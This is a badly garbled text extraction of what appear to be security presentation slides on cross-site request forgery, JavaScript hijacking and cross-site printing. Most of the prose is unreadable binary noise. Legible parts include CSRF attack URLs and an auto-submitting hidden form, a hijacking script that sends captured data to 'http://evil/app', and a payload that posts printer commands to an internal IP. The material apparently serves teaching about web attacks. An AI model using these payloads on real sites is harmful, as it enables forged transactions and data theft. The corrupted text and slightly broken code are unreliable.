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	����	%# /�����������

$��$���,)�����+	�%����	����	%��������+	�	0�����������

���� �����
�	��%	������$*�1�����	������2	0���!�$��	,����� ���������� ������
324����� ����	������+������!�������	��������	�����	������ 	�����5
��	���	���������	%�������	��������%���������	���	�*6��	����5 �
��(������������	��	������	����������	�������	����(���� ��������
��	������(	�7���	�+	�!

8.$�-��%%�	��	����




	����	%# /�����������

��

���������%	�	%���	������	������	�� 	��+���	������� �	�!�
����	��������	%������	����������������9$�:
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�����,���	��	��	�������	��5������(�� �������	�����(������ (5�
��%	<��(��� ����	��������%������%�����	+���	%������

�� ��=�

5�
��������	��������������	0��������� 	����	�!�

��

�+� =��
$����������������	���������(���������������	����������,���	�
����������9=��:5������,���	������������	����	����	������(	�����
��<	������������>	%���%	�������� 	����	5� ���	������,���	� �	��	���
����	����	�	����������������������>	%�������%�����������	 ��
��	� 	����	�������!
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'$6'�68';
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��	�	%������������	�	��������������=���+���	������ ��	��
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;0�����

'�	 ���	 ����#BB	+��!�����(!	�B0���!���� ����� ��	 ����� ���
��������� @
1�#
http://shop/app?action=add&prodid=2&quantity=12
http://shop/app?action=execOrder

'�	 ����� ��	 	0	���	% �	����	 ��	  	����� �	� �������������
������	� ��	 	0������ �	����� ����������� �����	 ���������
�	��	���!



� ��������	
��
��� �� ���
�0

��

##$����( $������

���	���3��	�������
� ����� ����������� ����

� +�
������������� #
 ����


� 	�
)���
 ���

�
�
� !
�" 123&�453����

�	�+��	�$���	���������
� ��������� �

���
� "����� 

6��

 ������
� �
��
��
" �

���
� ��� 

6��

 �������
������
" �
�����

� 	

���
���
��
��
"  � #
��5���#� ��

7���� %"
)���� ������* ��


����

� �
 ���#
��



� ��������	
��
��� �� ���
�89

��

##
	�	%������


	�	%������
3����%��	 �����%��5������	5���	,���	 ��(	�� ��� ��������
������������!�'�(	�� ���� �	 %	��+�	�	% ������� �����	 @
1��� ���
����%%	� ��	�% ��%���+	 ����	 +���%��	% �����	 �	�+	� ��%	!

@
1������������94;':
http://shop/app?action=execOrder& token=Cyo2maPlA7s9s ... 

&'21�
���������������9-8�':
<form action="http://shop/app" method="POST">

<input type="hidden" name="action" value="execOrder" >
<input type="hidden" name="token" value="Cyo2maP..." >

</form>

$ ��	�	�� '�������
� '����� ��
)���
 ���

�
��"�
��� ��
� �
������
� '����� 

�" 
5����� #���
 ����� #
 �������������



� ��������	
��
��� �� ���
�88

��

##
	�	%������


���	 $��������� 3
����� �� ���	
���	 �
� ����
�� ��� �	
���	 ��

�� �
� �
��
������ �	
� �	����	��������������

'�	�	 �� �����	�	� (�� � �����	 ����	 ������ �������  ����
%	���	�  ��� ����� �	� �� ���� 	% ������% ��%� ��� ���!�'�	�	
��	 	0�	������  ���� %���	� ���� ��	 ���	 ��������	!�'���5����	
&'21��������	 ��	��	% ��	������!

<img src="http://shop/app?action=execOrder">
<script src="http://shop/app?action=execOrder">

'�	�	���	5����� �� ��� ����� �	� ����	!�;+	���� ��	  	����� �	 �
���%� ����	� ��%�������� ���� ���	��� %������!
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��� ������ ������������
�� 
�� ��� �
�����!�	� �������	�����	� ������ "#$�
	 $��!�

$����(	�� ����% �����%	���� &'21������ ���� -8�'�%���
�������������!�/�+������������ � ��������� �����  ������ ��	�
���	�������!
<form id="sub" action="http://shop/app" method="POS T">

<input type="hidden" name="action" value="execOrder">  
</form>
<script>

document.getElementsById("sub")[0].submit();
</script>

'�	�	���	5�	0�����+	�� ���� ��� -8�'�
	��	��� 9.	��
����
����������:�%�	� ��� �������	 ��	 ��

�3���	�!
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!�� �� �
�
��������� ���� �
���	 �	����� �
� 	��� 
��"#$�
	��	����� ����������
� �������� ���������)�

@
1��	 ������ 9�	������3*��� �����	% �����	 @
1:
http://shop/app ;jsession=Cyo2maPlA7s9s ?action=execOrder

'��	5������,���	 
	��	�� 
���	�� %�	� ��� ����� �� ���
����������� ����(� ��	�� ����� @
1��	 ������ �� ��%%	� ��	�%�!�
&� 	+	�5��� �����%��	� ���	� +���	��������	� ����	 ���0� ���� �
��%���� �	� ����	� ��(	 ��	 �	������ �+������	 �������% �����	�!�
'�	�	���	5��	����� ������	����� ���%���� �	�������� ���	% ���
��%%	� ��	�%� �� @
1��	 ������ �� ��� �����%	�	% ����������!�
;����	5��	����� ����(��� �� ���	% ������(�	� �� �����	 ��1�
�	����� �%	�����	�!
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 ����
�� ��<������

/�86�.���C
� ;���	�
����+ <
�� (�������

� ;	+(�

�����
� ������� 

�"� �����
�
�;���	�
����� <
� � ���

���=��

�� ���

���
�
 )������� �����:�4:�:

call({ "name": "John", "surname": "Doe" })

/�86�&�<��(����+� ��
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<script>
function call(obj){

byName=document.getElementsByName
byName('creditcard')[0].value=obj.Creditcard;

}
</script>
<script src="http://shop/app?act=user&func=call">
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<script>
function Object() {

var run = function() {

var res = "";
for(var x in this ) { res += ref[x] + ", "; }

new Image().src="http://evil/app?" + escape(res); 

};
setTimeout(run, 100);

}

function call() { }
</script>

<script src="http://shop/app?action=user&func=call">  
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	�	%������
3����%��	 �����%��5������	 ��(	� ��� 	��� ����	������	% ��	�
��%����	�% �� ��������������� ����� 	���	� �����	 @
1��� ����� ��%%	�
��	�%!��		���

����������� ��� %	�����!

$��	�����+	��9�	�� ��+������	:
�	������	 
	�����	� ��� ����������	����� �� ��������	 ������#

� )�
%@@*@
� 7A BB��+3��		�;	+(�1�;��C�(���!+24�2�+(�	2!�(��BB�7A

'�	 ���	�� ����� ���� �	��+	 ��	 ����� ���	 �	���	 	+�������� ��	
/�+�������!�8��	� ��	5���	 ���	���	�	� ����� �����	 �������	���� �
�� �����	� 9	0�	�����:!�*��	�� ������ �������� ����� 9�!(!�!�/ �86-:�
����� E������ ���FGH��� ��� �������	 ������	!

6��	#�*����� ��	  ���	9?:��	����	 ���	�����������	 ����	� 	���� �
��� �	�%	� ��	 ����	�	�� ��	�	��!
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-����	������� ��%	�����% -������������%�%����� �	����	
����	��������� ��	 ����	 ��������,���	�-�������������(�!

2�������� .	��-��	
<FORM ACTION='HTTP://192.168.100.50:9100' ID='MSGFO RM‚

ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'>
<TEXTAREA NAME='MSG' ID='MSG' STYLE='display:none'> </TEXTAREA>
</FORM>
<script>

var msg=String.fromCharCode(27) + "%-12345X@PJL ENTE R
LANGUAGE = POSTSCRIPT\r\n" + "%!\r\n" + "/Courier
findfont\r\n" + "25 scalefont\r\n" + "setfont\r\n" + "50 30
moveto\r\n" + "(0wned by Compass Security) show\r\n"  +
"showpage\r\n" + String.fromCharCode(27) + "%-12345 X";
document.getElementById('MSG').value=msg;
document.getElementById('MSGFORM').submit();

</script>
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8.$�-������,���	�
	��	�� 
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����#BB   !� ���!���B��%	0!���B�����,���	J
	��	��J
���	��

'�	 �����,���	�
	��	�� 
���	�� 
$K
����#BB   !����	������!���B������	�B����,���!�����

��

�4���%5�/�;;�����	� ����������	 ��


����#BB   !� ���!���B��%	0!���B��

J4���%

��35�
	%	����8����	�����3������������	������5�
	�	%������ 2 ���
����#BB   !���!%	B���	���B���%�	�B 	��	�B.	��	�!�%�
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����#BB   !����������� ��	!���B�	�+�	�B%� ����%�B������B/�+�
������J&�<��(���!�%�

�����,���	�-�������
����#BB�����! 	�+	��!�����	���	�!���B��������	-�������!�%�
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